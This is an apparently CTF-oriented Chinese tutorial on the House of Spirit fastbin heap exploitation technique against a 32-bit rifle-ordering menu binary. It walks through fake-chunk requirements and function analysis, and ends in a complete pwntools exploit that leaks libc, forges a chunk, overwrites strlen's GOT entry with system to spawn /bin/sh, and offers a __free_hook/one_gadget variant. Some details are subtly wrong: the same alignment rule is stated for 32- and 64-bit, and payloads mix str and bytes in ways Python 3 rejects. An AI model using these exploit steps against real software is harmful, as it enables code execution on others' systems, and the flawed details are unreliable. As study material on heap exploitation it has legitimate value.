堆利用之House Of Spirit
字数 1946 2025-08-22 22:47:31
House of Spirit 堆利用技术详解
1. 技术概述
House of Spirit 是一种基于 fastbin 机制缺陷的堆利用技术。其核心思想是通过伪造 chunk 并将其放入 fastbin,然后申请出这个伪造的 chunk,从而实现对指定内存区域的劫持。
2. 伪造 chunk 的条件
要成功实施 House of Spirit 攻击,伪造的 chunk 必须满足以下条件:
- ISMMAP 位:不能为 1,因为如果是 mmap 分配的 chunk,free 时会单独处理
- 地址对齐:
- 32 位系统:地址应为 0xXXXX0
- 64 位系统:地址应为 0xXXXX0
- size 大小:
- 必须小于 0x80(fastbin 的最大大小)
- 必须与对应的 fastbin 大小匹配
- next chunk 检查:
- next chunk 的大小不能小于 2 * SIZE_SZ
- 不能大于 av->system_mem
- 32 位:大小应为 4 的整数倍
- 64 位:大小应为 8 的整数倍
- fastbin 链表检查:
- 不能构成 double free 情况(即 fake chunk 不能是链表头部)
3. 示例程序分析
3.1 程序功能
程序是一个购买枪支的菜单题,主要功能包括:
- 添加新步枪 (Add new rifle)
- 显示已添加步枪 (Show added rifles)
- 订购选定的步枪 (Order selected rifles)
- 留言 (Leave a Message with your Order)
- 显示当前状态 (Show current stats)
- 退出 (Exit)
3.2 关键函数分析
add 函数 (sub_8048644)
- 分配固定大小 (0x38) 的 chunk
- 结构:
- 前 56 字节:步枪描述
- 后 56 字节:步枪名称
- 偏移 13*4=52 字节处存储指向下一个 chunk 的指针
show 函数 (sub_8048729)
- 遍历链表并显示所有 chunk 内容
- 可以泄露内存信息
order 函数 (sub_8048810)
- 释放所有分配的 chunk
- 增加订单计数器 (dword_804A2A0)
message 函数
- 在固定地址 (dword_804A2A8) 写入最多 128 字节的数据
- 使用 strlen 检查输入
showw 函数 (sub_8048906)
- 显示添加和释放的计数器值
- 显示留言内容
4. 利用思路
4.1 信息泄露
- 利用 show 函数泄露 libc 基址:
- 将 puts 的 GOT 地址写入 chunk
- 通过 show 函数读取 puts 的实际地址
- 计算 libc 基址
4.2 伪造 chunk
- 创建足够多的 chunk (0x3f 个) 来填充内存
- 最后一个 chunk 的指针指向伪造的 chunk 地址 (0x0804a2a8)
- 伪造 chunk 需要满足:
- size 为 0x40
- next chunk 的 size 设置为 0x100(大于 fastbin 最大值)
- next chunk 的 prev_size 设置为 0x40,prev_inuse 位为 0
4.3 劫持控制流
- 通过 message 功能在伪造的 chunk 区域布置 payload
- 劫持 strlen 的 GOT 表项为 system 地址
- 通过 message 触发 system("/bin/sh")
5. 利用步骤详解
5.1 泄露 libc 基址
payload = b'a'*27 + p32(elf.got['puts'])
add(b'a'*25, payload)
show()
io.recvuntil('=\n')
io.recvuntil('Description: ')
puts = u32(io.recv(4))
base = puts - libc.sym['puts']
system = base + libc.sym['system']
binsh = base + next(libc.search(b'/bin/sh\x00'))
5.2 准备伪造 chunk
n = 1
while n < 0x3f:
add(b'a'*25, b'a'*27 + p32(0))
n += 1
payload = b'a'*27 + p32(0x0804a2a8)
add(b'a'*25, payload)
5.3 布置伪造 chunk 结构
payload = 0x20*'\x00' + p32(0x40) + p32(0x100)
message(payload)
order()
5.4 劫持 strlen GOT
payload = p32(elf.got['strlen']).ljust(20, 'a')
add(payload, b'b')
message(p32(system) + ';/bin/sh\x00')
6. 替代方案:修改 __free_hook
在 libc-2.23 中,还可以通过修改 __free_hook 为 one_gadget 地址来获取 shell:
free_hook = base + libc.sym['__free_hook'] + 0x1000 - 0x10
payload = p32(free_hook).ljust(20, 'a')
add(payload, b'b')
og = base + 0x3ac69 # one_gadget 地址
message(p32(og))
order()
7. 关键注意事项
- 伪造 chunk 的 size 必须精确匹配 fastbin 的大小
- next chunk 的 size 必须足够大以绕过检查
- 使用 ";/bin/sh\x00" 是因为 system 函数会执行分号分隔的多个命令
- 在 libc-2.23 中,__malloc_hook 和 __free_hook 也是可行的攻击目标
8. 完整 EXP 示例
from pwn import *
context.log_level = 'debug'
context(os='linux', arch='i386')
io = process('./pwn')
elf = ELF('./pwn')
libc = ELF('./libc.so.6')
def add(descrip, name):
io.sendline('1')
io.sendline(name)
io.sendline(descrip)
def order():
io.sendline('3')
def show():
io.sendline('2')
io.recvuntil('=\n')
def message(content):
io.sendline('4')
io.sendline(content)
# 泄露 libc 基址
payload = b'a'*27 + p32(elf.got['puts'])
add(b'a'*25, payload)
show()
io.recvuntil('Description: ')
puts = u32(io.recv(4))
base = puts - libc.sym['puts']
system = base + libc.sym['system']
binsh = base + next(libc.search(b'/bin/sh\x00'))
# 准备伪造 chunk
for _ in range(0x3f-1):
add(b'a'*25, b'a'*27 + p32(0))
payload = b'a'*27 + p32(0x0804a2a8)
add(b'a'*25, payload)
# 布置伪造 chunk 结构
payload = 0x20*'\x00' + p32(0x40) + p32(0x100)
message(payload)
order()
# 劫持 strlen GOT
payload = p32(elf.got['strlen']).ljust(20, 'a')
add(payload, b'b')
message(p32(system) + ';/bin/sh\x00')
io.interactive()
9. 总结
House of Spirit 是一种有效的堆利用技术,关键在于精确伪造符合 fastbin 要求的 chunk 结构。通过控制 chunk 的分配和释放,可以实现任意地址写入,最终劫持程序控制流。这种技术常与其他攻击手段结合使用,是复杂攻击链中的重要一环。